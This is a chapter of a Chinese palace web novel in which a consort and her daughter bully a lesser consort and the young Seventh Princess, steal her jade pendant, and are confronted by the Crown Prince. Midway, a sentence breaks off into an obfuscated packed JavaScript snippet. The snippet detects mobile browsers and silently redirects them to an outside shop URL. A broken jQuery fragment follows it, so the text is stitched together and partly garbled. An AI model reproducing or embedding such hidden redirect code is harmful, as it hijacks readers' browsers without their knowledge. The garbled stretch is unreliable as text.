这厢静嫔母女二人刚走出晴月宫,便听到前方不远处传来的嬉笑声。夏兰娜看清来人后,目光顿时阴沉下来。
她悄悄拉了拉静嫔的衣袖,小声道:“母妃,等会你帮我教训一下她们!”
静嫔当即点头。
原来是那不受宠的赵贵人啊!
今日刚听小娜说过,那贱人之女还巴结自己的女儿,骗女儿出来玩,才惹来这无妄之灾。
真是个扫把星!
敢惹她宝贝女儿不开心,看她不狠狠教训一下对方。
小七一行人走近晴月宫,便瞧见堵在门口的静嫔和五公主。
大家虽然心中不悦,却面上不显,均规规矩矩行了礼。
夏兰娜却沉不住气,阴阳怪气嘲讽道:“这么急匆匆地赶回来,是想见父皇吗?真不巧,父皇已经走了。夏韶阳,你这辈子也别想见他了。”
说着说着,自己还热血沸腾了。她使劲抬高下巴,用鼻孔看着这群卑贱之人,不忘警告道:“夏韶阳,你是不是还想着向父皇告我的状。
哼!你就死了这条心吧,拿不出证据那就是胡说八道。治你个欺君罔上之罪,摘了你的脑袋!”
小七心中一哂。
切~
这货还担心自己状告她禁池锁水一事呢!
真是做贼心虚,沉不住气。
她还啥都没做呢,这就害怕了。
小七心中鄙夷的不行,面上却笑而不语。
夏兰娜顿觉一拳打在棉花上,很没有面子。
她噘着嘴,一副受气包模样望向自己的母妃。
静嫔当即给自己的女儿撑腰。
她皮笑肉不笑地开怼赵贵人:“哟,赵贵人这是捡了什么宝贝回来了?本宫难得来一次晴月宫,赵贵人怎么一点礼数都不懂,连请本宫进殿喝杯茶的规矩都没有啦?”
赵贵人规矩道:“请静嫔赏脸,进殿喝杯茶。”在赵贵人行了个“请”字礼后,静嫔这才牵着女儿大摇大摆地走进了偏殿。
一进小院,夏兰娜便捂着鼻子,嫌恶道:“母妃,这鬼地方又破又丑,真是能住人的地方嘛?”
静嫔伸手搂住女儿:“确实不是人能住的,小娜你是金枝玉叶的公主,来这种简陋的地方确实委屈了你。但是某些身份卑贱的人住到这儿,却刚好合适。”
进了殿内,二人又是一阵横挑鼻子竖挑眼的指摘。
想着二人难缠,赵贵人便亲自捧着花茶递给静嫔。
她想:自己把姿态放的足够低,取悦到二人,二人觉得无趣便会离开了。
可是,她小瞧了人的劣根性。
静嫔假意伸手去接,故意将热茶打翻在地,还浇了赵贵人一手,然后猛地站起身,指着赵贵人的鼻子便骂:“你想烫死本宫吗?好啊,赵贵人,你竟然存心报复本宫!”
不给对方反应,直接一巴掌甩在赵贵人的脸上。
夏兰娜则坐在椅上晃着腿,一脸看好戏的神情。
变故来得太快。
赵贵人懵了一会儿,才下意识捂上火辣辣的脸,慢慢红了眼眶。
小七看的直磨后槽牙。
这对狗母女分明就是故意寻衅滋事,可恨她和娘亲品阶不够又不受宠,只能生生受着,真TM憋屈!
静嫔一见赵贵人楚楚可怜的模样,便气不打一处来:“怎么,你还不服气?”
说话间,她瞧见对方白嫩的手腕烫红了不少,手上还有做活留下的细小伤痕,眼珠一转,又有了磋磨人的鬼主意,“本宫听说,赵贵人一直不喜奴才伺候,凡事都热衷亲力亲为,尤其喜爱洗洗涮涮!
真是巧了,御膳房洗豆的奴才人手不够,还有不少豆子没人洗,月新,你去告诉后厨,将豆子都拿来给赵贵人洗吧。”
月新领命而去。
小七担忧地来到母妃身前,准备跟她们理论一番。哪怕受罚也就忍了,总比心里憋屈来的舒坦。后面,她总会想办法让这对狗母女还回来!
母妃瞧出她的心思,纤细的手立刻紧紧扯住她的衣袖,冲她轻轻摇了摇头。
小七定定地看着母妃,默默低下了头,忍住了鼻尖的酸意。
很快,月新回来,还带来了御膳房的两个太监。
他们手里各拎了两大袋豆子。
静嫔轻蔑地勾唇:“赵贵人,请吧。”
想要上前帮忙烧热水的小燕、小蝶被勒令罚跪。
静嫔暗含威胁地问道:“两位公公,这豆子是该用冷水泡洗吧?”
两位小太监哪敢得罪静嫔,当即连连点头。
听了这话,静嫔这才满意。她和女儿夏兰娜满目恶意地等在那里。
早春的季节,天气依旧寒冷,更何况是清泠泠的冷水,看得都让人忍不住打个哆嗦。
赵贵人从厨房找来木盆,倒入半盆豆子,浇上满满的冷水。
她伸出自己带着烫红伤势的洁白纤长的双手,浸入冰凉的水中。
那双手霎时被冻的通红起来,她深吸一口气,咬牙搓洗着豆子。
静嫔顿时一阵舒爽。
这就是得罪本宫乖女儿的下场!
一旁的小燕小蝶无能为力,忍不住用袖子擦眼睛。
小七自责又愤怒。
她要是再贪玩一些、再晚一些回来,就好了。
平日里无微不至关爱她的母妃,在她眼皮子底下被人欺负了,她却只能无能狂怒。
从未有一刻觉得自己是这么弱小!
从未有一刻想要改变这种现状!
今日之辱,她牢记在心!
小七擦了把发红的眼眶,冷着小脸踢打开阻拦的太监,径直来到木盆面前,伸出小手帮母妃一起洗。
静嫔看到这种情况,当然不会阻止。
虽然这位小公主不受宠,但到底是皇嗣,静嫔确实不敢动手,如今看这位七公主自己上赶着受罪,她也乐见其成的很。
夏兰娜就更不必说了,七公主越遭罪她越开心。
到底是自己的亲生女儿,赵贵人态度难得强硬地让小七不要沾水,容易生冻疮,伤了手就没法写字了。
小七见拗不过母妃,就在旁边帮忙倒豆子。
小小的人儿吃力地弯着腰,将大袋的豆子往外倒。几次下来,小脸累的通红。
这让坐在一旁悠闲吃茶的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954120|132839||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夏兰娜看得十分解气。
突然,一束强光从小七脖颈反射过来,刺的夏兰娜一时睁不开眼。
等她仔细看过去,小脸立刻阴沉下来。
她万万没想到,这个小贱人脖子上还挂了一块玉佩。
那玉佩莹润闪光,均匀而细腻的质地仿佛是天然的水滴融化而成;隐隐还雕刻了不少繁复的花纹,细腻的纹理如云烟般在玉石上流动。
一看就是一块上等的玉佩,就连她手里也没有如此好物!
这个小贱人又是哪得来的?
她一个不受宠的卑贱之人,哪配拥有如此的宝贝。
她越想越嫉恨,心里很快升起了据为己有的心思。
小七察觉玉佩滑出内襟后,便赶紧塞了回去,继续若无其事地干着活。
夏兰娜被她这一举动彻底惹恼了。
她这么小心翼翼、做贼心虚的模样,一定是心里有鬼!
这块玉佩八成是她趁人不备偷来的!
既然是偷来的,那就不属于她,不属于她的东西,那她就抢过来!
说干就干,夏兰娜当即气冲冲地冲到小七面前,伸手就去扯她脖颈上的细绳:“你脖子上挂的什么,让本公主看看!”
小七本来干活就一肚子憋屈,夏兰娜这边还惦记上她的玉佩了。当即毫不客气,“啪”地用力拍开她的手,冷冷道:“这是太子哥哥送给我的,你甭想打鬼主意!”
夏兰娜当即大怒:“好你个小贱人,还敢打我?!”扭头冲旁边‘眼观鼻,鼻观心’的太监吼道,“你们这群狗奴才,她偷了我的玉佩,被本公主当场抓住,还想反抗,你们还不滚过来,给本公主按住她?”
小太监们犹豫一瞬,便一拥而上,齐齐制住了七公主。
赵贵人慌乱地大叫:“她可是七公主,你们不能伤害她!”
夏兰娜得意一笑,伸手蛮力拽下细绳,故意让细绳在小七嫩白的脖颈上勒出红痕。看到牢牢握在手中温润的玉佩,这才让众人放开了小七。
小七捂着火辣辣疼的脖颈,将夏兰娜千刀万剐的心思都有了。却只能暗暗告诫自己:不要冲动,冲动是魔鬼。君子报仇十年不晚!小不忍则乱大谋……
夏兰娜则高举着玉佩,冲众人大声道:“这块玉佩确确实实是本公主丢失的那块,不想被咱们这位七公主偷了去,得亏今日被我发现,也算是物归原主……”
“哦?本宫竟不知,送给七皇妹的龙纹玉佩竟是五皇妹丢失的?”随着话落,一身暗红色长袍、容颜俊朗的太子殿下和一身利落黑衣、身材颀长的褚世子走进了院里。
太子一眼便看到那个小小的、倔强的身影。她微垂着头,一动不动,原本嫩白的脖颈上勒出了一道刺目的红痕。
夏从筠登时有些愠怒,一向喜怒不行于色的他第一时间走了过去,温热的手掌轻抚上她柔软的发顶:“小七,别怕。是太子哥哥来了。”
“对啊,小丫头,还有你世子哥哥,都来给你撑腰!”褚谷枫也凑过来。
小七没吭声,一耸一耸地抽动肩膀,缓缓将头埋进了他怀里。夏从筠轻轻拍着小七的后背,目光却幽冷地看向夏兰娜。